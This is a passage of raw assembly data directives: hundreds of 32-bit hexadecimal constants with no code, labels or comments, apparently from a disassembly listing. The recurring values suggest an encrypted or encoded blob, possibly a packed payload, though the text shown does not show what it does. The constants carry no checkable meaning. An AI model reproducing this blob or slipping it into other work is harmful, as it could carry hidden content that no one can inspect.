		dd 0C4E38253h, 47603334h, 15661CDBh, 12B24932h,	2A1E0176h
		dd 2531D530h, 0FF0E5117h, 0FC9BCA86h, 15664426h, 1E19AA4Dh
		dd 677874CDh, 0EB9DFD26h, 6461F3D3h, 0D2139A98h, 1BB7A4CDh
		dd 0A2068E23h, 0F396C54Fh, 740CCB4Ah, 2FC094BFh, 73068E23h
		dd 1ADAFC8Dh, 0EA07D88Dh, 1561F8E2h, 0A94D8832h, 9E36FCEDh
		dd 44E3ABADh, 7560001Bh, 81E53054h, 156657DBh, 97C50532h
		dd 0B3315C73h, 34F67E35h, 5A63496Ch, 998707C1h,	0C4E3D753h
		dd 62609934h, 15664EDBh, 6824CE32h, 29DA0BDEh, 7DBC203Dh
		dd 0E6F1EC91h, 0DFED4452h, 749D9A54h, 1E6F3DCDh, 0FC064223h
		dd 15662238h, 437D7F8Fh, 989BEB0h, 98079A8Eh, 45C84B7h
		dd 0DDE77134h, 6A4B2C0Ah, 74BFFB3Dh, 1A06F2CDh,	156612B8h
		dd 0D2D98732h, 156642DBh, 0C6611B32h, 74B9A282h, 15F70DBBh
		dd 0D3934223h, 460F3B7h, 1A064334h, 156690BAh, 1575AD32h
		dd 39392232h, 6A07C9F8h, 37F8FF18h, 1E38B321h, 4E0AF41Eh
		dd 108F7067h, 0B4668832h, 5094040Ah, 0C857355Ah, 1DE21EB8h
		dd 1A668832h, 156646BDh, 0EA074232h, 468C087h, 9F69E834h
		dd 15664434h, 6885D3B3h, 98074E5Dh, 45C2EB7h, 0EA9ABD34h
		dd 0FE92DE2h, 75661132h, 15669BDBh, 9619832h, 41FBC466h
		dd 0EF7ABCD3h, 9271C494h, 93B5D9EDh, 50E3AB53h,	75600013h
		dd 7EAD0954h, 156DADCFh, 8B8C2232h, 0CCCCB90Dh,	69CE997Ah
		dd 90A025F0h, 137724E3h, 0E7ED7164h, 785FE053h,	9969902Dh
		dd 1566223Ch, 5EB09052h, 1A7D8AC4h, 156644BFh, 0A0994332h
		dd 13771EE3h, 9400DB52h, 4C8A34ECh, 1574CB60h, 842F1132h
		dd 7D12F95Bh, 4C06441Ch, 0E7D47DE6h, 4DE409DDh,	90EBE968h
		dd 1372304Dh, 156636DBh, 40E3C32h, 238AD17Ah, 0E2375293h
		dd 0C3F01CEEh, 0D3D78194h, 0FCB67737h, 15664426h, 0DA6E3A67h
		dd 4909FCD8h, 0D02F076h, 94A24DD3h, 0EB5DD992h,	18AF94BBh
		dd 73068E23h, 8769ACB3h, 0C4E3E453h, 52600034h,	0FCF43C52h
		dd 15664435h, 0EC1D0633h, 74907D91h, 0C976F25Ah, 940024B3h
		dd 95DCDAE1h, 0EA07F4C6h, 4685987h, 156CAD34h, 3EA62232h
		dd 8DF87CF8h, 0FE61490Fh, 2FC0C1BFh, 99692423h,	1566113Eh
		dd 1560073Dh, 9B694432h, 15662232h, 78FC1CDh, 14668832h
		dd 6016BBFh, 630B3098h,	83C27C3Ah, 0AAB86DDEh, 30E3CD14h
		dd 1A603310h, 156607BDh, 15776132h, 0A0064432h,	929110EAh
		dd 82F90CDh, 2645D4EEh,	0D31EC2C0h, 460F3B7h, 68F5634h
		dd 0D668832h, 2FA537C9h, 6476AD2Fh, 0E5973ACFh,	59DDF3Ah
		dd 0F70E0CBFh, 0FCEC2D87h, 15661120h, 0DA6ADFB1h, 0A6817CFCh
		dd 1DE845D6h, 0A546A327h, 0A0999294h, 13774AE3h, 0C4E74452h
		dd 94697050h, 15668834h, 5B4F8FB3h, 9807377Fh, 45CB7B7h
		dd 15686134h, 28014432h, 0B4C8C874h, 1B91D2ECh,	0B4DFF818h
		dd 68F94CDh, 68662232h,	5490D762h, 0A74F004Bh, 377105DEh
		dd 601FA6A0h, 90EF57FCh, 137E105Dh, 156649DBh, 96B24F32h
		dd 614F337Eh, 0AD98A8F2h, 90A1FE5Bh, 13773703h,	1566114Ah
		dd 15730F3Dh, 0FC064432h, 1566223Ah, 0C268CBC2h, 0BB20318Dh
		dd 1566CD3Dh, 96072232h, 460048Fh, 91698834h, 15665C4Dh
		dd 156625DBh, 1FF9BC32h, 87FD84D1h, 13B7C1F4h, 0FC2A2423h
		dd 1566113Ch, 4CC2A6B6h, 6FA14972h, 0FD6B3152h,	0FC0E85F2h
		dd 75BF522Eh, 1569AD60h, 0A572232h, 9CDB4F63h, 68B37308h
		dd 0D72822A7h, 73067DD7h, 0E814C2B3h, 740770B8h, 1BB7F1CDh
		dd 989E2423h, 45CB7B7h,	15756134h, 160A4432h, 69CABA05h
		dd 0B4DA24D4h, 819191AEh, 1B46F4F8h, 0CBEC424Fh, 15639B3Dh
		dd 77D98832h, 7412C260h, 9769F2CDh, 15661133h, 4EE301CAh
		dd 0FC605CAAh, 1566223Dh, 0FCA8BFB3h, 3E62F600h, 70DEFE8Ch
		dd 0E93E6ED3h, 13B794F4h, 752A8E23h, 0FDB9CF54h, 15662223h
		dd 5F33703Ch, 0EFD1766Bh, 7D3C3F9Dh, 0E2C3DB6h,	7D074FC0h
		dd 0C81256FCh, 156643DBh, 0C70D7332h, 0F3996708h, 1BB73DCDh
		dd 18F4223h, 0A9662232h, 7DD911C1h, 16D7FF81h, 0E0A82698h
		dd 776F357Ch, 98C58AD9h, 45C2EB7h, 8E64B34h, 75662232h
		dd 156605DAh, 264D2F32h, 34E1DD28h, 28BD8719h, 0C8C93DE0h
		dd 0CCFCC22Eh, 749E1F2Ah, 9C9FF2CDh, 0DFE4EB7h,	90A07034h
		dd 137742E3h, 156FCB7Eh, 9CD41132h, 217F53F3h, 7D0CA6EBh
		dd 0A2E7A00Dh, 1573953Dh, 92698832h, 1566443Dh,	156628DBh
		dd 0E76DC532h, 9DA2C21Ch, 0EACE71B8h, 468F387h,	90EBE434h
		dd 1377B294h, 1AB6BBCEh, 15662EBBh, 13E81E32h, 1A668832h
		dd 156644B8h, 76E3AB32h, 1A6009AAh, 156699B9h, 156AAD32h
		dd 8B802232h, 51BE26F1h, 37BC84C6h, 0AE060505h,	4E7E72C4h
		dd 74B09A54h, 13B70DF4h, 0FC2A4223h, 15662222h,	0CC50E554h
		dd 8A53D3BEh, 36F23A70h, 3C0738D9h, 3A26095Ah, 14E28781h
		dd 0E0664432h, 1BB797CDh, 99691723h, 15668823h,	1563AD52h
		dd 0BF322232h, 0AA9FF2FFh, 978B539h, 0B3E3C953h, 0FC603308h
		dd 15661123h, 362CBF67h, 84DAC1B3h, 94B6C7F4h, 7A3ED006h
		dd 0FCB677E3h, 1566443Ch, 0BE92C34Fh, 753903EEh, 1C43C3FCh
		dd 90EF8C52h, 137EBA51h, 0D307E852h, 46059B7h, 99690234h
		dd 15662226h, 156AF852h, 0EAFD8832h, 682A3047h,	0F19A93B4h
		dd 749E4B6Ch, 75BF0252h, 1CF8278Bh, 15E72D69h, 74661132h
		dd 1372E053h, 18FFEECh,	0ED662232h, 11D596B9h, 7BAEEFFCh
		dd 16E73D8Ah, 58559648h, 0EA06D293h, 4685987h, 9A692434h
		dd 15662237h, 0AA8F9054h, 749103DBh, 0B3E3C9C7h, 0ED603308h
		dd 9269C1CDh, 15668833h, 7EE3CDC7h, 0E0603AAAh,	13B794F4h
		dd 75218E23h, 15664CDBh, 5F55F932h, 0BCF04AE5h,	156B61C3h
		dd 76F34432h, 21511D61h, 1FEBFBDDh, 74FC187Bh, 0C9763E5Ah
		dd 1561CBB3h, 252C1132h, 0D27AC0CCh, 0C4D3BB21h, 1A60333Ch
		dd 15660FB9h, 68FE832h,	3B664432h, 52DE5E6Ch, 0B4519303h
		dd 0C50AEDF7h, 0C39282DCh, 0AF008C56h, 98076344h, 45C2EB7h
		dd 18F2434h, 0FF662232h, 1ED9483Fh, 0FA40458Dh,	94722A7Eh
		dd 3546A0A2h, 9FE1562Ch, 0C599E9D8h, 66E3CDCBh,	0FC603AAAh
		dd 15661139h, 0EBA7EA3Dh, 54AC635Dh, 0D367E7F7h, 460C0B7h
		dd 1A93CF34h, 156643B7h, 14EB2D32h, 0EC661132h,	92E8245Ah
		dd 5EE4BDDh, 1A662232h,	15661BB5h, 15636132h, 81AC4432h
		dd 0EA60C9ADh, 468C087h, 58F7134h, 0FF664432h, 7B835E33h
		dd 0B4BD38E1h, 0B8FBC133h, 986DED32h, 45C84B7h,	0C599E834h
		dd 15668DDBh, 3C61DB32h, 90EF6795h, 137E8945h, 16EE8752h
		dd 1A664432h, 0D307ED85h, 460C0B7h, 58FCF34h, 40664432h
		dd 0E996673Eh, 0F192CD87h, 5F2F9CE4h, 75778237h, 9537E5B9h
		dd 743FA6D7h, 8FC15A5Ah, 0A099B1E6h, 13772CE3h,	156605DBh
		dd 292CFE32h, 604D552Fh, 0BDD1CEFAh, 0B4A238E0h, 0F47BC4A6h
		dd 0B3E3C926h, 0FC603308h
		dd 15661138h, 0D1AD18B2h, 8A4971D9h, 0C5999DAEh, 6EE398CAh
		dd 1A6090AAh, 156645B4h, 90A0DA32h, 137717E3h, 12EB8775h
		dd 75664432h, 0F9E6CEB8h, 110E703Fh, 1ADC490Bh,	15664DB4h
		dd 94004232h, 46EBD7FBh, 0A099E96Dh, 13774AE3h,	0B3E3AFCBh
		dd 75600008h, 15E28752h, 1A664432h, 156622B7h, 1E8E7032h
		dd 6D668832h, 10C24E24h, 155DB782h, 68F1E05h, 0D9668832h
		dd 106FF4DBh, 5AABFC31h, 0BFF3F899h, 0D2EAAD96h, 743C95B1h
		dd 0FD06F2CDh, 15661138h, 0C92C9E8Ah, 1EE250B1h, 9869A2F0h
		dd 15661132h, 9C07706Ah, 0DFE3BB7h, 0A8E5D734h,	1377206Fh
		dd 72E38732h, 1A664432h, 15662CBFh, 156FF832h, 0AA7F8832h
		dd 5C0E31F9h, 0D3C99C74h, 460C0B7h, 7D9FCF34h, 0F5146955h
		dd 16DD4452h, 0CFED7715h, 0C4D37753h, 0EC60553Ch, 156CA83Dh
		dd 0AB061132h, 22166D78h, 74ACFB3Dh, 2FC0A7BFh,	46061723h
		dd 733973B9h, 1378EB3h,	0E0B6DD53h, 8DE594BBh, 759E8E2Ah
		dd 1565C53Dh, 0AA692232h, 90A070E9h, 13778EE3h,	68F2475h
		dd 0D6662232h, 0B8FA64A5h, 51D7F69Bh, 513BBA0Dh, 0C517AF69h
		dd 188F8A8Fh, 0CE668832h, 4B5A1914h, 0D30A7110h, 7120CE58h
		dd 15686153h, 2ACA4432h, 1D599C64h, 9AF7E6DEh, 0DFBA0BD6h
		dd 3CD5F55Ah, 1576CBBCh, 33FF1132h, 4EA6FD81h, 0BD91C96Bh
		dd 0AC13120h, 0A099F485h, 137786E3h, 1569C33Dh,	0FC062232h
		dd 15661135h, 3965BB70h, 0E9E0AEDCh, 0B3E3AF53h, 75600008h
		dd 0FCB67753h, 15664421h, 2B562808h, 6EE91FB0h,	12817448h
		dd 5E603193h, 9CDD6D6Fh, 0DFE96B7h, 9569E834h, 15664431h
		dd 0FCACA954h, 1566113Dh, 9ED78709h, 36A7051Ch,	0A758C274h
		dd 7424D9A9h, 13B70DF4h, 75254223h, 0EC919D3Dh,	5FC17953h
		dd 9F694844h, 1566443Ah, 1564AD3Dh, 74061132h, 1BB73DCDh
		dd 138F4223h, 3C662232h, 0E7BFFBBh, 0B3E3054Dh,	0FC605508h
		dd 15662223h, 796F48BDh, 3C3A0A06h, 0BCB843CCh,	1778577Bh
		dd 0FCB6EE52h, 15668838h, 0A57EE9D7h, 939F867Ch, 90EF87C7h
		dd 137E10B9h, 1567C33Dh, 759F2232h, 156AF9CAh, 0E4288832h
		dd 5AAAF02Fh, 0C5E2E9E2h, 4B9E39E4h, 0C4E34E53h, 59605534h
		dd 0ECD92D52h, 798D7953h, 0EA937354h, 46D4D87h,	0FC314234h
		dd 15661122h, 0D1388E3Ch, 0F90C71EEh, 0A6F3DA6Bh, 3F39ED20h
		dd 1A06E96Ch, 156640B0h, 40DE4432h, 90EB7038h, 1377B294h
		dd 156641DBh, 0C5EDF132h, 0C5993D85h, 0E7EDEE52h, 74BEB5B2h
		dd 8C79A7BBh, 0D393172Ah, 46059B7h, 7D9F0034h, 0AE15AC67h
		dd 15679D3Dh, 0EA938832h, 4689587h, 71D34234h, 0B3E39C53h
		dd 75609908h, 9FA6F33Dh, 0C59943F5h, 156617DBh,	1A75B232h
		dd 9C331A4Bh, 0DFEADB7h, 9969E934h, 15668833h, 0C4E382CAh
		dd 56603334h, 156618DBh, 29020432h, 0B4633325h,	138FCB39h
		dd 99661132h, 49D43121h, 7B9A2C8Bh, 0EA9F9EBCh,	468C087h
		dd 156D6134h, 26E94432h, 0C0B3010Ch, 7DF98A85h,	188FE8A1h
		dd 24664432h, 0BB814F6Fh, 0FB89A966h, 0BB1E9699h, 749FFB3Dh
		dd 2FC0A7BFh, 78F1723h,	98668832h, 6EBC93B1h, 630A01B5h
		dd 0C4D54FBh, 720A0A96h, 0EDB6BB74h, 8DF5A7BBh,	7506172Ah
		dd 1C8F57B9h, 60664432h, 5739C6D9h, 6172628Ch, 74A93D53h
		dd 15664EDBh, 0CF227432h, 72B79518h, 0D318DF27h, 46095B7h
		dd 7D9E7134h, 0D3762F98h, 156681DBh, 55D15032h,	0B3295089h
		dd 0A0999B7Dh, 137786E3h, 1567CD3Dh, 98932232h,	45CB7B7h
		dd 93697034h, 15664435h, 1567A13Dh, 0EA9F1132h,	13E287E2h
		dd 75664432h, 0EDED7A63h, 1DE41E53h, 75668832h,	1566C23Dh
		dd 9C072232h, 0DFE86B7h, 14E38734h, 0E9664432h,	0EF79FB1h
		dd 1A661723h, 156500B6h, 90A0BD32h, 137724E3h, 12EF1E74h
		dd 1A668832h, 156645BBh, 240EDB32h, 759C87FCh, 0FDE6D760h
		dd 75062555h, 68E29B54h, 9E07DA86h, 0A099E9C9h,	13774AE3h
		dd 156BA23Dh, 1D8F1132h, 0D5668832h, 5A94165Bh,	981DBB14h
		dd 45CB7B7h, 0AA69E834h, 5ACC5EBh, 74481942h, 9A69C1CDh
		dd 1566883Eh, 1560C63Dh, 9C692232h, 15661132h, 8D950DBBh
		dd 1E8F422Ah, 93662232h, 71C655F6h, 71B2B8F2h, 90A0B6F6h
		dd 137724E3h, 0C30EE474h, 0FC9A2F08h, 15664439h, 605752A0h
		dd 0AB71DC24h, 0EAB3E9BCh, 4689587h, 2E02D34h, 0FC661132h
		dd 15668820h, 46C5C24Dh, 598C0E4Dh, 0BB9EFD29h,	31BE9F75h
		dd 90EB68D2h, 13771894h, 1AB6EECBh, 15668FBAh, 739E2432h
		dd 74C0DA89h, 1568993Dh, 1C8F8832h, 9A664432h, 1BDA4EC3h
		dd 90EBB6D3h, 8C650DBBh, 7306422Ah, 0EC07ECB9h,	13B794F4h
		dd 1A208E23h, 156645B2h, 150EDA32h, 0FCF4ED96h,	15668838h
		dd 46CB6A4Dh, 6FA20E73h, 0EA9FDDFDh, 4685987h, 1568AD34h
		dd 0BCD62232h, 166A7A29h, 72633DA5h, 0E6C0CF7Bh, 2FC0A7BFh
		dd 0EA9A1723h, 1E587E2h, 0FC664432h, 1566223Dh,	36710978h
		dd 27621F8Eh, 88A9F5B9h, 1AB05431h, 156616B0h, 14E18732h
		dd 0E9664432h, 8C61A7BBh, 9669172Ah, 1566883Eh,	1560C73Dh
		dd 9A692232h, 15661132h, 156683DBh, 0CAF7A332h,	0C10F1815h
		dd 0A5B9D51Dh, 13B70DF4h, 0ED204223h, 0C129485Ah, 0AA0071C4h
		dd 48E85C1h, 9C664432h,	0B7217199h, 35935183h, 9CC1E52Fh
		dd 0A4045B9Eh, 1566A63Dh, 743D1132h, 1BB73DCDh,	98934223h
		dd 45C84B7h, 93697134h,	15668834h, 1566CF3Dh, 749F2232h
		dd 9E06C1CDh, 741738F1h, 8C6DC1BBh, 0FC06242Ah,	1566113Ch
		dd 0EDE23B35h, 6395CE24h, 0D7453F74h, 9E69269Ah, 15668824h
		dd 156655DBh, 0A72CE632h, 76A485FDh, 6C3969A4h,	0FE966EBCh
		dd 0D30739A3h, 460C0B7h, 9D69CE34h, 15664429h, 0FBE74452h
		dd 1A8F77D1h, 25668832h, 0CE873E4Ch, 0F77C304Bh, 0D5F34E9Fh
		dd 75074509h, 1563AC52h, 0DE9D2232h, 4CB38CB3h,	74B70353h
		dd 0D836A35Ah, 1568CBA6h, 2E7D1132h, 1E2F6F6Ch,	27E018E3h
		dd 69FB1C37h, 1BB7A4CDh, 1A068E23h, 156641B5h, 0AA059932h
		dd 749A7F67h, 2FC00DBFh, 0EA9F4223h, 1AEE2DE2h,	0FC661132h
		dd 15668838h, 850C65D6h, 3C27E407h, 90EF1ADBh, 137E10C5h
		dd 13EA4BCEh, 75662232h, 0D6D11ECAh, 0C4E34E53h, 53605534h
		dd 615D4ACEh, 1F8FA010h, 0B2668832h, 1CBB0E43h,	655FD2FAh
		dd 0C4D3EE2Ch, 0FC60993Ch, 1566443Bh, 7FD5CFD4h, 7E7401E8h
		dd 0B3E30597h, 1A605508h, 156631B0h, 18E21E32h,	0FC668832h
		dd 1566443Ah, 0FE2FA583h, 62275D8Ah, 0AF0658CDh, 7C7FE2CAh
		dd 74B8953Dh, 8D9D94BBh, 1B8F8E2Ah, 54664432h, 3F41ADD8h
		dd 0E98CEDFDh, 295DA9C5h, 0C4E3822Eh, 53603334h, 1565953Dh
		dd 0EC068832h, 0FF8B2C53h, 0E906FD4Bh, 4E909054h, 0A099E924h
		dd 13774AE3h, 0D2ED4452h, 1566983Dh, 98078832h,	45CE2B7h
		dd 0AE364234h, 44C50073h, 15E9876Bh, 74664432h,	48FF2CDh
		dd 6D661132h, 39D851Eh,	61278F09h, 0EE087F0Ah, 0F7D832CBh
		dd 8D990DBBh, 9769422Ah, 15662233h, 48DB92C7h, 15609903h
		dd 15E2C13Dh, 95062232h, 9E0057FCh, 90A0E9C3h, 137742E3h
		dd 0A2694261h, 3674A9EDh, 7D0782CBh, 0DBD8A46Ch, 1AB7A852h
		dd 0EA07E08Dh, 4685987h, 1568AD34h, 0E4BD2232h,	9BB7DC32h
		dd 0E89857E0h, 68764FB0h, 15662FDBh, 29AD3932h,	95A20A3Eh
		dd 760C565Bh, 90EBE94Ch
		dd 13772B94h, 156683DBh, 0D66D5732h, 20A880E0h,	3F73E1A6h
		dd 58F58CDh, 50664432h,	95B09AB7h, 68959679h, 0C9A3C6A1h
		dd 9C2B0856h, 0DFEB9B7h, 90A0E434h, 13778EE3h, 156FAD75h
		dd 5AB52232h, 0F3A209E3h, 7DE6BE7Fh, 0D2D71AB5h, 0A5D94452h
		dd 9ADD77E6h, 0A099E965h, 13774AE3h, 0B3E3AFCEh, 0FC600008h
		dd 1566883Fh, 12056DD9h, 1905E21Fh, 0C3F7BD29h,	0FCB6778Dh
		dd 15664422h, 8D875B6Ah, 0E8A1D14h, 0AA10727Eh,	0B2293D7Ch
		dd 8DF9A7BBh, 0FD06172Ah, 1566883Eh, 0E4C443A0h, 0ADFAA89Bh
		dd 0DAE91355h, 15668FDBh, 0B2900032h, 4CCE463Ah, 0E7D91E6Bh
		dd 48DB0B53h, 15605503h, 15EFA73Dh, 73061132h, 73B6718Bh
		dd 0D30785B9h, 460F3B7h, 78F5634h, 38668832h, 0E94C269Ch
		dd 7F9E9A85h, 6DD095A3h, 10C28224h, 6B632C82h, 0AF06C450h
		dd 5E8788E9h, 0C4D37753h, 0FC60553Ch, 15662239h, 0FCA6E2CEh
		dd 7EF99C5Eh, 9852E6C2h, 45C84B7h, 1572F834h, 0D5DB8832h
		dd 40041FE1h, 4CC5F6FFh, 0B667AA77h, 0DBE36306h, 0C599BB64h
		dd 1B8F42CBh, 0E661132h, 0F4EE9F9h, 0D28D832h, 0CD18BCA9h
		dd 74B19A07h, 8DC50DBBh, 0D39E422Ah, 460F3B7h, 48F5234h
		dd 9D668832h, 8F7F8DE0h, 0E18590E4h, 229ABBAFh,	0AD8356D9h
		dd 6F6FB25Ah, 1AEC2DA0h, 0FC661132h, 15668838h,	33257AE1h
		dd 59E0EC87h, 0A0993145h, 137786E3h, 0C6ED2252h, 1564A63Dh
		dd 4D361132h, 90EB7053h, 13777E94h, 156627DBh, 421C6D32h
		dd 138F808Fh, 664432h, 0BB005733h, 0E9B6EED7h, 8DC10DBBh
		dd 0D39F422Ah, 460F3B7h, 1F8F5234h, 82668832h, 63D61465h
		dd 37EF1747h, 82467976h, 98697413h, 15664424h, 0CBE74452h
		dd 1F8FC601h, 0FD668832h, 7FC7065Ah, 0F6DF6022h, 0A09970F7h
		dd 137786E3h, 0F7E72252h, 0DAE672ABh, 90EB7041h, 1377B294h
		dd 1579CE3Dh, 9E692232h, 1566112Bh, 15669CDBh, 0B536A332h
		dd 0B7BF5602h, 0C1353B71h, 6BD04AEBh, 7B981A92h, 0EDB6DDE4h
		dd 8DCD94BBh, 128F8E2Ah, 11664432h, 559739ADh, 0A8E5E707h
		dd 1377B96Fh, 0EEE34B32h, 0FC662232h, 1566113Bh, 0D113472Bh
		dd 4CD6DDDFh, 0C4E3E436h, 56600034h, 156681DBh,	43429232h
		dd 93D4A9B7h, 160EFE0Ah, 1AED889Ah, 15664CB0h, 17EE2D32h
		dd 75661132h, 0C4D37753h, 7560553Ch, 1567A43Dh,	739E1132h
		dd 98075FB9h, 45CE2B7h,	1569CB34h, 0CE241132h, 754E1F32h
		dd 8B650103h, 0FCC42D64h, 0FCB6EE0Ch, 15668823h, 3FFC8146h
		dd 0A3384AF6h, 95EE1B90h, 62730F3Fh, 0A6E3CDC1h, 75603AAAh
		dd 156601DBh, 22AD1932h, 0C5C3DAC2h, 33707EF3h,	890F2350h
		dd 0C7E7EE73h, 0D30720ECh, 460F3B7h, 9D695234h,	15668839h
		dd 87BFC552h, 95577B1Dh, 7D07ABF3h, 0F03DBEE7h,	0C4D3BBCAh
		dd 0EC60333Ch, 2FC094BFh, 1D8F8E23h, 4A664432h,	39ED3D39h
		dd 0EAA28C64h, 156361E2h, 3DEB4432h, 9C6B2AA4h,	0DFEBEB7h
		dd 1AEF8734h, 0FC664432h, 15662238h, 0F54E06A5h, 217754F2h
		dd 90A04163h, 137724E3h, 0F40EE971h, 758C2200h,	1564CA3Dh
		dd 4C302232h, 2467AE54h, 0C4D37753h, 0E960553Ch, 15662BDBh
		dd 84734032h, 3C689C2Fh, 90EB623Ah, 13771894h, 1AB6EECEh
		dd 156690BDh, 1575AD32h, 4B1E2232h, 0A5703F34h,	68EB272Eh
		dd 0C96AC2Fh, 88DC47D1h, 0A2E398F2h, 1A6090AAh,	156651B0h
		dd 1576CB32h, 0FFD81132h, 1AAC75C4h, 0A15B99E4h, 8085EB1Eh
		dd 90A0E3DEh, 13778EE3h, 156AAD71h, 64492232h, 44CC0170h
		dd 48D88C91h, 220E36B6h, 75E2D39Eh, 0DEE6EFB9h,	0A099E946h
		dd 13774AE3h, 1575AA3Dh, 1B8F1132h, 8C668832h, 3353B446h
		dd 68A45435h, 0BF4C595Eh, 0B3E30571h, 0FC605508h, 15662235h
		dd 71BBD644h, 0EAA35C1Dh, 90EFB1E2h, 137EBA89h,	746BA552h
		dd 13B70DF4h, 1A294223h, 15662AB2h, 73937132h, 51B16FB3h
		dd 14E94B53h, 0ED662232h, 20F6C55Ah, 48FE8A5h, 4B664432h
		dd 3CF7ABD0h, 8BF6DCEBh, 36464F7h, 0E69DDC8Eh, 1561CB52h
		dd 3C3A1132h, 0BCB88FCCh, 31D8227Bh, 0EA074381h, 468C087h
		dd 31EE8734h, 75664432h, 15662CDBh, 4081FB32h, 2CCBE4C2h
		dd 518E2539h, 0FD4099B6h, 1566113Bh, 0E2CE0A7Ah, 247ED0EFh
		dd 98077D5Fh, 45CB7B7h,	0C5997034h, 15664DDBh, 0E2484B32h
		dd 82D599A1h, 90EFEE57h, 137EDC8Dh, 1573A93Dh, 58F1132h
		dd 0D2668832h, 757BC16Ah, 0BBE58CAEh, 0AEB4836Ah, 0D37C67D6h
		dd 46095B7h, 1A8F6D34h,	72661132h, 531DFF6h, 5673FF9Bh
		dd 0A9AB6F35h, 7D9EC62Bh, 0EC088630h, 156650DBh, 54D08D32h
		dd 0EBD2E60Bh, 0FD6088D6h, 77565A41h, 0F1F317Eh, 0C4D3EEB5h
		dd 7560993Ch, 1AFB94B2h, 9807DC8Dh, 45CB7B7h, 0EDEDE834h
		dd 156657DBh, 4E20AE32h, 0D4F8A565h, 0DD973B50h, 9FB3727Ah
		dd 0F099A9C2h, 0ECB6EE53h, 8DA50DBBh, 68F422Ah,	0B7662232h
		dd 95B5C680h, 5D1C579Ch, 0C3BD6C4Ah, 0BAC90C23h, 90A0A7D4h
		dd 13778EE3h, 5C0EB87Fh, 0ECAE154Bh, 1BB7A4CDh,	90698E23h
		dd 1566443Fh, 0FC97A352h, 0AC4D8E5Ch, 5D00ADC6h, 93692453h
		dd 15662236h, 5C95AB54h, 156684DBh, 390B8432h, 0A6E80202h
		dd 4B6A29EFh, 90EBE900h, 13777E94h, 156CA63Dh, 9E061132h
		dd 0EFBC09C8h, 740FC279h, 0E9B6DDCEh, 8DAD94BBh, 1F8F8E2Ah
		dd 0EA664432h, 0FC2CA7EDh, 0D44016E4h, 0AB00E868h, 0D307EB64h
		dd 460F3B7h, 7D9A5C34h,	0C991C5BBh, 0C4D3BBC7h,	0E060333Ch
		dd 2FC094BFh, 9F698E23h, 1566443Dh, 0FD3C7152h,	15661137h
		dd 3D0A24Eh, 1A071DFAh,	15662DBFh, 156CF832h, 0D9968832h
		dd 2543E4F9h, 0D9643F1h, 9269C1CDh, 15668820h, 1560AD52h
		dd 0B4EE2232h, 580A082h, 0A7BE0954h, 90EF25CBh,	137EBAF5h
		dd 1576F852h, 0C938832h, 0C7AA0D0Ch, 5D146D7h, 0F03A8F7Bh
		dd 58F203Ch, 0B664432h,	50A18C4Ah, 7F7E566Bh, 35B01083h
		dd 74B31206h, 13B7A7F4h, 0E9331723h, 0E4BBF5Ah,	0A099BDAEh
		dd 13772CE3h, 40B59052h, 0FC4BA328h, 15664422h,	9ECD23C1h
		dd 0B1E21E5Ah, 51FB5EFDh, 25636029h, 0B3E3AF53h, 75600008h
		dd 0A7933054h, 746197B2h, 7306F2CDh, 1A4BD78Bh,	15668BB0h
		dd 0C6ED2232h, 0DAE3AB53h, 0ED6009AAh, 13B70DF4h, 0FC254223h
		dd 1566223Fh, 0A8D34E3Fh, 0BF1F8B1Ch, 55967D42h, 0E54C4AC8h
		dd 9E06C3E7h, 0EA0771F4h, 4689587h, 1563CB34h, 75E41132h
		dd 0EC2CFCF9h, 2FC0C1BFh, 78F2423h, 0F0661132h,	0CF6FB777h
		dd 573F82CFh, 696E0DDAh, 2CA5D990h, 0E9B677E3h,	1567C43Dh
		dd 9C932232h, 0DFEC2B7h, 1DE38734h, 1A664432h, 156620B3h
		dd 0D3077132h, 46059B7h, 7D9F1634h, 0E82496D8h,	0C4D3EEC7h
		dd 7560993Ch, 22589A8Dh, 74A8A929h, 2FC094BFh, 78F8E23h
		dd 44664432h, 0C2298BAEh, 145642F4h, 0FB34C578h, 71DCD602h
		dd 0EDB6DD60h, 3C3794BBh, 759A8E23h, 156657DBh,	0E8688232h
		dd 854D4720h, 5DB63E3Eh, 9D48E41Ch, 0FE3A0676h,	90A070CEh
		dd 13778EE3h, 0AD002475h, 0D5E75318h, 1318ECBDh, 4CFFE053h
		dd 78FA6AAh, 0D2662232h, 0BFE6FE18h, 0D53DD153h, 21F1E8F3h
		dd 5307E3BDh, 0C4D3EE34h, 0ED60993Ch, 2FC0C1BFh, 0EA932423h
		dd 1572F8E2h, 0DE148832h, 0DD4A81ECh, 0E849618Fh, 6B46BBBh
		dd 9533FF55h, 18F8FA2h,	9C662232h, 0CB625216h, 96ED9CBAh
		dd 219AA5C7h, 37442520h
		dd 9CD1629Dh, 0DFE5FB7h, 4506BD34h, 194F9A54h, 0AB00716Ch
		dd 74073B1Ch, 13B7C1F4h, 75212423h, 75919A54h, 15E087CAh
		dd 74664432h, 75A44A53h, 9969A0CFh, 1566882Ah, 156657DBh
		dd 9663AB32h, 6769B7BDh, 434FCC89h, 0E0C07142h,	2B55AD84h
		dd 1BB7A4CDh, 989E8E23h, 45CE2B7h, 0C599DE34h, 1567903Dh
		dd 9C9A8832h, 0DFE9FB7h, 90A0D734h, 137717E3h, 156A6175h
		dd 0A49B4432h, 4986563Bh, 1FE18D35h, 10E8DC9h, 75B9E2CCh
		dd 1575CACBh, 0ECB51132h, 20C8FEB9h, 2902C846h,	0B4635525h
		dd 4053F839h, 4E3EDBF4h, 0C4D3BB53h, 7560333Ch,	9490289h
		dd 90EBE939h, 13777E94h, 156DCB52h, 0BD31132h, 0FFE29DF0h
		dd 22F9D406h, 943C9AA6h, 0EA077852h, 90EF7DE2h,	137EDCEDh
		dd 15662DDBh, 0A7772332h, 96064256h, 6319994Ah,	0ADC0D58h
		dd 13B794F4h, 1A398E23h, 156648B4h, 13E42D32h, 1A661132h
		dd 156688B9h, 58E2432h,	3A662232h, 0BDBF417h, 35CB3568h
		dd 0CCF79D57h, 73542A57h, 4B088988h, 156682DBh,	26119132h
		dd 0B0C00714h, 742A485Ah, 4594E05Ah, 0FDE624ACh, 1577CA54h
		dd 0B4D41132h, 0F5D21988h, 8A2A6AAEh, 260C6021h, 0E0E8BC99h
		dd 0A099E96Ch, 13774AE3h, 0B3E3AFC7h, 0FC600008h, 15668823h
		dd 0B3465CCFh, 1DD0F638h, 0D545A1Fh, 2503995Dh,	0EDB6BBB1h
		dd 8D85A7BBh, 9969172Ah, 1566883Dh, 15664EDBh, 2EFC7E32h
		dd 6906AC8Dh, 0D3754B68h, 46095B7h, 9A696D34h, 15661133h
		dd 6E59E0CEh, 956983CEh, 15662233h, 0C4D3EEC7h,	1A60993Ch
